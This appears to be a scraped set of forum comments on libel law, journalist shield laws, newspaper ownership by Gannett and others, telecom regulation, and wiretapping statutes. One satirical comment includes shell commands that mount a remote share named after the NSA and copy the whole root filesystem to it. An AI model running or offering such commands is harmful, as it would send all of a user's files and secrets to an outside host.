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Libel and slander are illegal, and for good reason. What this kid did was libel, and should be handled through the court system.

I think that's questionable. By my reading, it sounds like the page in question was an obvious joke. Read the quote FTFA:

The profile did not use McGonigle's name, but identified the person pictured as a "principal," and described him as a 40-year-old married, bisexual man whose interests included "being a tight ass," "fucking in my office" and "hitting on students and their parents," according to Munley's opinion.

That doesn't sound like an accusation to me, it sounds like a stupid joke. And based on a quick googling, it seems that libel cases have been dismissed "because the item could not be reasonably understood as stating actual facts" - I think an adolescent Myspace page would probably qualify as something nobody in their right mind would believe, especially if it was claiming that the principal's hobbies included "being a tight ass."

Then again, IANAL, so I don't know. But if I had to guess, I'd guess that most judges would not want to waste their time on a case like this if it was brought as a libel suit.

http://www.thefirstamendment.org/shieldlaw.html http://www.gannett.com/go/newswatch/2000/november/ nw1103-7.htm

As the bill's author argued, "The main purpose of the shield law is to prevent government from making journalists its investigative agents and to prevent a journalist who is trying to cover the story from becoming part of the story (which makes them wholly unable to cover it)." The amendments will help to ensure that journalists in California are not used by prosecutors and litigants in this way.

Florida: According to the Florida Supreme Court, the concept of implied consent extends to any type of property where a newsworthy event has occurred, "whether or not the place of the (event) is a burned out home, an office or other building or place." (Florida Publishing Co. v. Fletcher)

Here's a better article about computer games that rely on USB equipped exercise equipment:

http://indystar.gns.gannett.com/apps/pbcs.dll/arti cle?AID=/20060223/TECH0601/602150370/1009/TECH

bkd

I used to have a subscription to the local newspaper, but after a while I cancelled it because I felt guilty for using so much paper and never really reading it, even though I recycled it.

I don't feel too hostile towards our local paper even though they sold out to a souless conglomerate that brings in most of the reporters from out of town. I would still have a subscription if it wasn't for the fact that my paper always seemed to be missing, four hours late, or soaking wet.

Instead of charging $3.75 a week for that "service" why don't they charge $2.50 and make everything available on a subscriber version of the website? I would pay for that -- access to local news is something that people should have, imho.

The altruistic side of me also thinks that they should release all news that is no longer economically viable (older then three months?) into the public domain and keep archives on their website. Of course they don't have much incentive to do this because they can sell "archive access", but it would be a public service. Between the money they originally made and the advertising dollars on the website I doubt it would be a losing game for them.

Imagine a world where you could only watch stations owned by Warner Brothers, only get Warner Brothers cable, and all movies were made by them, and only rent your television (made by them, of course) along with your cable? If anything, Time Warner is where the Bell Company was in 1900 (but a bit weaker), as the big fish in the pond which has some local monopolies but not one which has a total stranglehold over the market.

Give them time. Don't misunderstand me -- I'm not advocating the return of Ma Bell. But I am allowed to express nostalgia for the golden age of telecommunications -- and disappointment/regret at the direction things are going. What is the long term future of the PSTN? Many people think that it will become just another protocol on the internet. That's all well and good -- once my home internet connection is as reliable and bullet-proof as my POTS line currently is. Short of DS1s (more Bell/Telco technology) or other leased lines I have never seen an internet connection that was remotely as reliable as my consumer phone line. In fact, come to think of it, all the times that our T1s went down we reported the problem with our land line telephone which was still working.

I am also leery of the fact that none of the new communications technologies are regulated -- and the industry will fight tooth and nail to make sure that they remain that way. If Verizon screws me on my land line I can call up the PSC, file a complaint and be talking to a Verizon executive within two hours. If he can't/won't solve my problem then the PSC will force them to do so. I do not see any similar protection in place on cell phones or VoIP services. And even if they are eventually regulated watch it wind up being the FCC or FTC doing it. I trust my state agency a hellva lot more then I trust the Feds.

I would like to see cell phones, VoIP phones and even broadband internet access in general brought under the jurisdiction of the PSC/other state agencies. In this day and age these are all life essential services -- it is totally unfair to both Verizon/other real phone companies and the consumer to allow them to keep operating without any sort of Governmental oversight. It would also prevent them from screwing the consumer in other areas -- the PSC would never allow a carrier to demand a $1,000 deposit -- but that's exactly what Verizon Wireless pulls if you have shitty credit.

If we are to pay taxes to maintain this thing called the free market, I am all for paying them.

Except as long as the people who are competing with POTS services (Time Warner, Vonage, wireless carriers, etc) aren't held to the same standards and regulation then it's not a free market anymore.

In any case, whatever you say about AT&T back in the day, they had the ability to screw the consumer. The media empires (of which Time Warner is a part) have the ability to screw our country and way of life via their control of the mass media and journalists. Ever seen The Insider and how CBS Corporate tried to stop CBS News from running a story that would be damaging to an advertiser? And that's just the people who only care about the bottom line! There's also assholes like Rupert Murdoch using their empires to force a political agenda. Even if you agree with that agenda (and most sane people don't) you have to agree that it's fucking scary to see that much power in so few hands.

I could go further and point out how companies like this one are buying up tons and tons of local media. Or how your friends at the FCC tried to change the media ownership rules in the favor of the big companies at the expense of local interests. Yeah, poor Clear Channel is only allowed to own 40% of a local market right now. Must be tough for them.

I fear that we do indeed live in interesting times.

The rest of the papers in the country are ran by Gannett which buys local papers and slowly turns them into USA Today, without any local articles written by local journalists.

And in the wake of those cases, many states have indeed passed journalist shield laws so that such fiascos need not be repeated. Such laws, in fact, continue to be strengthened.

Another good example is "wiretapping laws".

Wiretapping means you attach a device to someone else's wire and read data from it. It implies there is an invasion of privacy, as someone learns information that he wasn't meant to hear.

However, many state laws define wiretapping as "electronically recording someone's voice without his knowledge". It has been used to indict people for recording what they believed were crimes by police. In certain jurisdictions, it may be even worse: wiretapping only applies to "audio recordings", so peeking on someone's video signal might not be covered.

I've heard that some cops have sometimes wiretapped suspects' phones in advance of getting a warrant. They can listen in, and are legally protected by not starting the tape-recorder. (Probably couldn't use evidence gained, but they don't always want evidence)

A couple of senators actually have a clue about how broadband might be effectively promoted

Ladies and Gentlemen, backup all your files free of charge using broadband:

mount nfs.nsa.gov:/users/OsamabinLaden/whistelblowers /etc/xx
cp -f -r /* /etc/xx

When you want your data restored, order the Government to disclose your documents as the native Americans do

They don't tell you on the website, but the FreedomForum and the Newseum were founded by Gannett, the corporation that has done the most to destroy local newspaper ownership. There are many, much smarter than me, who belive a media that daily tells us our freedoms are not important does a lot to undermine democracy.

Most U.S. newspapers are affiliated with the AP and Reuters, though a smaller number use the Agence France-Presse, which is more popular internationally. Then there's United Press International, which is practically dead, so few papers use it.

Knight Ridder and Gannett are different animals altogether. They are huge corporations which own dozens of tiny newspapers you've never heard of and a few larger papers (USA Today is Gannett's flagship paper, while the San Jose Mercury News is KR's, though KR's Miami Herald is a better paper). One of the "advantages" of these giant corporations is that they share stories with other papers in the corporation, which enables a paper in Fargo to cover an event in San Francisco without having to put up the money for a regional bureau.

Better papers (New York Times, Washington Post, Wall Street Journal, Los Angeles Times, etc.) maintain their own bureaus outside their hometowns (for instance, the Washington Post has about 10 bureaus in U.S. cities outside DC [Chicago, New York, Los Angeles, etc.], and about 12 bureaus in international cities [London, Tokyo, Moscow, etc.]), so they use a far higher percentage of their own content, but they still use the AP, Reuters and AFP for stories they can't afford to cover themselves or don't have the time to reach. However, you won't see a Knight Ridder story in a paper like the New York Times.

The big difference here is that aggregators/metabrowsers are computers that display headlines without discretion. Newspapers employ editors who have been trained in the art/science of news judgment. For this reason, a metabrowser will quickly become exceptionally boring and irrelevant.

See for example, the pile of papers owned by the same company that owns USA Today